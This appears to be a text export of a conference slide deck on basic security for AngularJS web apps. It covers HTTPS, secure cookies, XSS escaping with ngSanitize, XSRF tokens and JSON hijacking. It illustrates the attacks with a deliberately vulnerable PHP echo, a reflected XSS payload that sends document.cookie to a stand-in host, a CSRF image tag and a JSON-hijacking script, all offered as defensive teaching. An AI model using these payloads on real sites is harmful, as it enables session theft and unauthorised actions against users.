Secure your AngularJS Application in minimal approach :)

1. <I want to>
Secure my ng-app!
M A Hossain Tonu

2. AngularJS is a <battle> tank?

3. Wakeup!
It’s just a client side <framework>!

4. <head-scratching>
So what to do now?

5. Do <what> the whole world does!

6. <Follow> the security checklist
(basic)!

7. Basics to secure my ng app!
• Securing the server
• Prevent Man-in-the-middle
• Prevent XSS with NG Sanitize
• Prevent XSRF
• Prevent JSON Injection

8. Security is nothing but doing
right things in right way.

9. Securing the Server

10. Securing the Server
Authorization + Authentication

11. Authorization
OAuth2
(http://oauth.net/)

12. Authorization
Unauthorized access = HTTP 401

13. Authentication API
POST /login!
POST /register !
POST /logout !
GET /current-user

14. Preventing Cookie Snooping
<man-in-the- middle attacks>

15. HTTPS = Sanity

16. Http should not be hardcoded
angular!
.module(‘app’)!
.constant('NGCONF_CONFIG', !
{!
baseUrl: ‘/my-precious-url/‘,!
dbName: 'ngconf'!
});

17. <authentication cookie to HTTPS only>
httpOnly and secure options to true

18. <Prevent>
The XSS!

19. Example, at index.php
$name = $_GET['name'];!
echo "Welcome $name<br>";!
echo "<a href=“http://
mythikthaksite.com/“>My
profile</a>";

20. Example, at index.php
index.php?
name=guest<script>alert('attacked')</
script>

21. Example, at index.php
index.php?name=<script>window.onload
= function() {var
link=document.getElementsByTagName(“
a");link[0].href="http://badsite.com/
xss?"+document.cookie;}</script>

22. Escaping is the
ultimate solution!

23. AngularJS expressions
ng-bind
{{curly braces}}

24. General defence against XSS!
$scope.msg = 'Hello, <b>World</b>!';
+
=
<p ng-bind="msg"></p>
<p>Hello, &lt;b&gt;World&lt;/b&gt;!</p>

25. Display Markup?
$scope.msg = 'Hello, <b>World</b>!';
<p ng-bind-html-unsafe="msg"></p>
+
=
<p>Hello, <b>World</b>!</p>

26. Allow safe HTML tags
$scope.msg = 'Hello, <b>World</b>!';
+
=
<p ng-bind-html="msg"></p>
<p>Hello, <b>World</b>!</p>

27. ng-bind-html
• Sanitizes <script> and <style>
elements
• Sanitizes attributes that take URLs
such as href, src, and usemap.

28. ng-bind-html dependency
angular.module('expressionsEscaping',
[‘ngSanitize'])!
!
.controller('ExpressionsEscapingCtrl',
function ($scope) {!
$scope.msg = 'Hello, <b>World</b>!';!
});!

29. $sanitize service
var safeDescription =
$sanitize(description);

30. Preventing XSRF

31. Example, Follower Trap
http://my.loggedin.site.com/follow/USERNAME/

32. Meanwhile in an Evil Page!
<img
src=“http://my.loggedin.site.com/follow/USERNAME/“
width=“1”
height=“1”>

33. $http service comes
in with a solution!

34. Solution!
• Server sets a session cookie XSRF-TOKEN
• $http extracts this token
• $http attaches it as a header X-XSRF-TOKEN
• Token, auth cookie digest with added salt!
yummy!

35. JSON injection
vulnerability

36. Loggedin at goodsite!
http://goodsite.com/secret-info.json
[‘a’, ‘b', 'c']

37. Meanwhile in an Evil
Page!

38. <script type="text/javascript">!
var json;!
Array = function() { json = this;};!
</script>!
<script src=“http://goodsite.com/secret-info.
json" type="text/javascript">!
<script type=“text/javascript"> !
for(var index in json)
{ console.log(json[index]); }!
</script>

39. Deliver Invalid JSON!
)]}',
[‘a’, ‘b', 'c']

40. $http service automatically
strips this prefix string

41. This is it?
Now implement
Your Own Security Patterns :)

42. Homework for Good kids
• Adding your own Security Service
• securityInterceptor Service
• Secure routes using Route Resolvers

43. Mastering Web Application
Development with AngularJS

44. References
• AngularJS Authentication Pattern
• Secure AngularJS

45. QA?

46. Who am I?
!
http://mahtonu.wordpress.com
Vantage Labs Dhaka
@mahtonu
Authored the title “PHP
Application Development with
NetBeans: Beginner's Guide”
http://link.packtpub.com/6HaElo